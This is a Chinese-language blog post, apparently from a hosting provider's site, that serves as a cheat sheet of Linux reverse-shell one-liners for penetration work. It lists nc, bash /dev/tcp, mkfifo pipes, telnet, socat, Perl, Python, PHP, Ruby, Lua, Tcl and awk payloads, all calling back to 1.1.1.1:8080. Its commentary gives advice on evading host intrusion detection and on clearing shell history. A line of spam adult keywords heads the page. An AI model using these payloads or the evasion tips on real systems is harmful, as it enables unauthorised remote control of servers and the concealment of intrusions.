亚洲国产第一_开心网五月色综合亚洲_日本一级特黄特色大片免费观看_久久久久久久久久免观看

Hello! 歡迎來到小浪云!


Linux下內(nèi)網(wǎng)反彈技巧總結與雜談


avatar
小浪云 2024-11-24 191

通常,在做滲透的時候會“運氣好”,碰到某些應用上存在遠程命令執(zhí)行漏洞,近來由于Java反序列化和二進制類漏洞的層出不窮,也加持著這種漏洞越發(fā)增多。

一般來說,靠譜點的公司都不會將應用服務器直接對外,而是通過代理轉發(fā)或映射等方式對外,當可以執(zhí)行命令服務器能夠訪問公網(wǎng)(這個要看具體情況,比如需要加載公網(wǎng)資源或者其他需求)時,反連技巧就會派上用場。

Linux下內(nèi)網(wǎng)反彈技巧總結與雜談

反彈技巧總結:

1、NC反彈
Nc?1.1.1.1?8080?-e?/bin/bash? 
2、Bash-socket反彈
/bin/bash -i > /dev/tcp/1.1.1.1/8080 0<&1 2>&1  
3、Shell-socket反彈
a) exec 2>&0;0<&196;   exec 196<>/dev/tcp/1.1.1.1/8080;    sh <&196 >&196 2>&196   b) exec 5<>/dev/tcp/1.1.1.1/8080   cat <&5 | while read line; do $line 2>&5 >&5; done[分兩句執(zhí)行]  
4、文件管道-nc/telnet反彈
a) rm /tmp/f;mkfifo /tmp/f;  cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 8080 >/tmp/f  b) rm /tmp/backpipe;  mknod /tmp/backpipe p;/bin/bash 0</tmp/backpipe | nc 1.1.1.1 8080 1>/tmp/backpipe  c) rm /tmp/backpipe;  mknod /tmp/backpipe p && telnet 1.1.1.1 8080 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe 
5、Bash-telnet反彈
telnet 1.1.1.1 8080 | /bin/bash | telnet 1.1.1.1 9090 [另一個端口]  
6、Socat反彈
socat tcp-connect:1.1.1.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane  
7、腳本反彈
a) Perl反彈  1) perl -e 'use Socket;$i="1.1.1.1";$p=8080;  socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));  if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");  open(STDOUT,">&S");open(STDERR,">&S");  exec("/bin/sh -i");};'    2) perl -MIO -e '$p=fork;  exit,if($p);  $c=new IO::Socket::INET(PeerAddr,"1.1.1.1:8080");  STDIN->fdopen($c,r);  $~->fdopen($c,w);system$_ while<>;'    b) Python反彈  python -c 'import socket,subprocess,os;  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);  s.connect(("1.1.1.1",8080));  os.dup2(s.fileno(),0);   os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);  p=subprocess.call(["/bin/sh","-i"]);'    c) PHP反彈  php -r '$sock=fsockopen("1.1.1.1",8080);  exec("/bin/sh -i < &3 >&3 2>&3");'    d) ruby反彈  ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",8080).to_i;  exec sprintf("/bin/sh -i < &%d >&%d 2>&%d",f,f,f)'    2) ruby -rsocket -e 'exit if fork;  c=TCPSocket.new("1.1.1.1","8080");  while(cmd=c.gets);  IO.popen(cmd,"r")  {|io|c.print io.read}end'    e) lua反彈  lua -e "require('socket');  require('os');  t=socket.tcp();  t:connect('1.1.1.1','8080');  os.execute('/bin/sh -i < &3 >&3 2>&3');"    f) tcl反彈  echo 'set s [socket 1.1.1.1 8080];  while 42 { puts -nonewline $s "shell>";  flush $s;  gets $s c;  set e "exec $c";  if {![catch {set r [eval $e]} err]}   { puts $s $r };   flush $s; };   close $s;' | tclsh    g) awk反彈  awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/8080";  while(42) { do{ printf "shell>" |& s;   s |& getline c;   if(c){ while ((c |& getline) > 0) print $0 |& s;  close(c); } }   while(c != "exit")   close(s); }}' /dev/null  
8、二進制程序反彈
Socket程序+命令執(zhí)行,詳見metasploit。

雜談

? ?市面上反彈shell的腳本和程序非常多,拿metasploit來說,可以生產(chǎn)上百種shell,但解碼以后無非以上幾種,有趣的時候metasploit生成的無論是腳本反彈程序還是二進制反彈程序多數(shù)都是自己實現(xiàn)了system_call,而不是調(diào)用系統(tǒng)bash或命令之類,看來做的還是很良心的。

? ?值得一提的是,由于大型甲方公司都會有HIDS防護,目前已知的HIDS,要么修改了bash,要么劫持glibc,要么修改系統(tǒng)底層(這種可能性較低,出問題的幾率大)。

? ?當你覺得可以反彈shell的時候一定要提前識別好環(huán)境,不然執(zhí)行了一個bash –i 或nc ,很有可能直接被hids一波帶走。

比較推薦使用shell內(nèi)置反彈或腳本類的反彈shell程序,一般的hids不會記錄,非常不建議調(diào)用系統(tǒng)bash命令產(chǎn)生反彈,起碼.bash_history會妥妥把你出賣掉。

? ?內(nèi)網(wǎng)shell反彈無論在滲透還是在反滲透中都是一個繞過不開的話題,關于反彈shell,其中有幾個有趣的問題:

1. 反彈shell的理解:

? ?內(nèi)網(wǎng)shell反彈的本質(zhì)是與公網(wǎng)服務器建立連接,并能將公網(wǎng)服務器傳輸過來的命令執(zhí)行,并將結果返回,因此反彈shell涉及兩個過程網(wǎng)絡建立+命令執(zhí)行,這兩個過程都是衡量反彈功能的標準,網(wǎng)絡建立要求復雜加密(如msf: meterpreter_reverse_https等),命令執(zhí)行則要求盡可能繞開hids和相關記錄。

2.交互式shell:

? ?交互式shell是shell最常見的一種,交互式shell區(qū)別非交互式shell最大的就是加載了環(huán)境變量,交互式shell的使用和在終端terminal中幾乎一致。一般來說,遠程命令執(zhí)行反彈出來僅僅是實現(xiàn)了一個非交互式shell。從非交互式shell升級到交互式shell,一個最簡單的方式就是用python腳本 pty.spawn(“/bin/bash”)

3. 交互式shell在實際滲透過程中未必比非交互式shell好,因為有經(jīng)驗的甲方都會對環(huán)境變量、shell終端加載文件如.bashrc、bash_profile等進行安全處理,直接提升到交互式shell,觸發(fā)HIDS告警的可能性較高(當然并非絕對)。

(Ps:如果你使用別人的工具,反彈了shell,卻不清楚是不是交互式shell,一個簡單的方法就是執(zhí)行history和set命令,如果都有正常返回,那你就要當心了,你可能獲取了一個交互式shell,盡快清除history吧。)

相關閱讀